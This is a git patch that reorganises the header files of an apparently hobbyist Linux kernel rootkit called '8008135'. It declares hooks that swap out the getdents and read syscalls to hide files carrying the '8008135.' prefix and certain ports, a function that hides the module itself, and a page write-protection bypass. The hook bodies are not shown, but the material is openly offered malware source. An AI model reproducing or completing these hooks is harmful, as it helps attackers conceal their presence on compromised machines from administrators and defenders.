From 6ad05f1c20b0407084a3014c60aeb78b5faa7918 Mon Sep 17 00:00:00 2001
From: Valentin Lechner <valentin_lechner@dismail.de>
Date: Sun, 8 Dec 2019 12:05:07 +0100
Subject: [PATCH] OutSourcing

---
 src/headers/637d3n75.h      | 40 +++++++++++++++++++++++++++++++++++--
 src/headers/8008135.h       | 37 +++++++++++-----------------------
 src/headers/h1d3m0dul3.h    |  4 ++++
 src/headers/h1d3p0r7.h      | 33 +++++++++++++++++++++++++++---
 src/headers/p463unpr073c7.h |  2 ++
 5 files changed, 86 insertions(+), 30 deletions(-)

diff --git a/src/headers/637d3n75.h b/src/headers/637d3n75.h
index feab7cf..26f8ff7 100644
--- a/src/headers/637d3n75.h
+++ b/src/headers/637d3n75.h
@@ -17,12 +17,48 @@
  * with this program.  If not, see <http://www.gnu.org/licenses/>.
  */
 
+/*******************************************************************************/
+
+
 #ifndef SRC_HEADERS_637d3n75_H
 #define SRC_HEADERS_637d3n75_H
 
-/****  var  ********************************************************************
+
+/****  include  ****************************************************************
 *******************************************************************************/
-sys_getdents_t sys_getdents_orig = NULL;
+#include <linux/module.h>
+#include <asm/special_insns.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+
+#include "5y563n.h"
+
+#define HIDE_PREFIX				"8008135."
+#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
+
+#define MODULE_NAME				"8008135"
+#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
+
+#define __NR_getdents 			78
+
+/****  type  ********************************************************************
+******************************************************************************/
+
+struct linux_dirent {
+	unsigned long	d_ino;
+	unsigned long	d_off;
+	unsigned short	d_reclen;
+	char		    d_name[1];
+};
+
+typedef asmlinkage long (*sys_getdents_ptr)(unsigned int fd,
+                                            struct linux_dirent __user *dirent,
+                                            unsigned int count);
+
+/***  var  ********************************************************************
+*******************************************************************************/
+
+extern sys_getdents_ptr sys_getdents_orig;
 
 
 extern asmlinkage long sys_getdents_new(unsigned int fd,
diff --git a/src/headers/8008135.h b/src/headers/8008135.h
index 99bc790..d6b5bef 100644
--- a/src/headers/8008135.h
+++ b/src/headers/8008135.h
@@ -18,16 +18,24 @@
  */
 #ifndef SRC_HEADERS_8008135_H
 #define SRC_HEADERS_8008135_H
+
 /****  Includes  ***************************************************************
 *******************************************************************************/
+#include "637d3n75.h"
+#include "50ck3t.h"
+#include "h1d3m0dul3.h"
+#include "h1d3p0r7.h"
+#include "p463unpr073c7.h"
+
+// To set module data
 #include <linux/module.h>
+// To communicate kernel
 #include <linux/kernel.h>
+/*
 #include <linux/kallsyms.h>
-#include <asm/special_insns.h>
 #include <linux/string.h>
-#include <linux/fs.h>
-#include "5y563n.h"
 
+#include <linux/fs.h>
 #include <linux/fdtable.h>
 #include <linux/net.h>
 #include <linux/seq_file.h>
@@ -36,18 +44,10 @@
 #include <linux/version.h>
 #include <net/tcp.h>
 #include <net/udp.h>
-
+*/
 /****  Defines *****************************************************************
 *******************************************************************************/
 
-#define GETDENTS_SYSCALL_NUM	78
-#define READ_SYSCALL_NUM		0
-
-#define HIDE_PREFIX				"8008135."
-#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
-
-#define MODULE_NAME				"8008135"
-#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
 
 /****  Modinfo  ****************************************************************
 *******************************************************************************/
@@ -57,18 +57,5 @@ MODULE_AUTHOR("JanKoernerEnterprises");
 MODULE_DESCRIPTION("8008135");
 MODULE_VERSION("0.1");
 
-/****  type  *******************************************************************
-*******************************************************************************/
-struct linux_dirent {
-	unsigned long	d_ino;
-	unsigned long	d_off;
-	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
-	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
-};
 
-typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
-                                          struct linux_dirent __user *dirent,
-                                          unsigned int count);
-typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf,
-                                    size_t count);
 #endif
diff --git a/src/headers/h1d3m0dul3.h b/src/headers/h1d3m0dul3.h
index 14182ae..f70db50 100644
--- a/src/headers/h1d3m0dul3.h
+++ b/src/headers/h1d3m0dul3.h
@@ -21,6 +21,10 @@
 #define SRC_HEADERS_h1d3m0dul3_H
 
 
+#include <linux/module.h>
+#include <linux/kernel.h>
+
+
 extern void hide_module(void);
 
 #endif
diff --git a/src/headers/h1d3p0r7.h b/src/headers/h1d3p0r7.h
index 65ab39d..a9e8e8b 100644
--- a/src/headers/h1d3p0r7.h
+++ b/src/headers/h1d3p0r7.h
@@ -20,12 +20,39 @@
 #ifndef SRC_HEADERS_h1d3p0r7_H
 #define SRC_HEADERS_h1d3p0r7_H
 
+
+/**** includes  ****************************************************************
+*******************************************************************************/
+
 #include "50ck3t.h"
+
+/* are those really all needed? */
+#include <linux/fs.h>
+#include <linux/fdtable.h>
+#include <linux/net.h>
+#include <linux/seq_file.h>
+#include <linux/slab.h>
+#include <linux/socket.h>
+#include <linux/version.h>
+#include <net/tcp.h>
+#include <net/udp.h>
+
+
+#define __NR_read				0
+
+
+
+typedef asmlinkage long (*sys_read_ptr)(unsigned int fd,
+										char __user *buf,
+                                        size_t count);
+
+
 /**** var **********************************************************************
 *******************************************************************************/
-read_ptr orig_read;
 
-extern asmlinkage long hacked_read(unsigned int fd, char __user *buf,
-                            size_t count)
+extern sys_read_ptr sys_read_orig;
+
+extern asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
+                            		 size_t count);
 
 #endif
diff --git a/src/headers/p463unpr073c7.h b/src/headers/p463unpr073c7.h
index a474e8f..c4aafb8 100644
--- a/src/headers/p463unpr073c7.h
+++ b/src/headers/p463unpr073c7.h
@@ -20,6 +20,8 @@
 #ifndef SRC_HEADERS_p463unpr073c7_H
 #define SRC_HEADERS_p463unpr073c7_H
 
+#include <linux/module.h>
+#include "asm/special_insns.h"
 
 /**** defines *****************************************************************
 *******************************************************************************/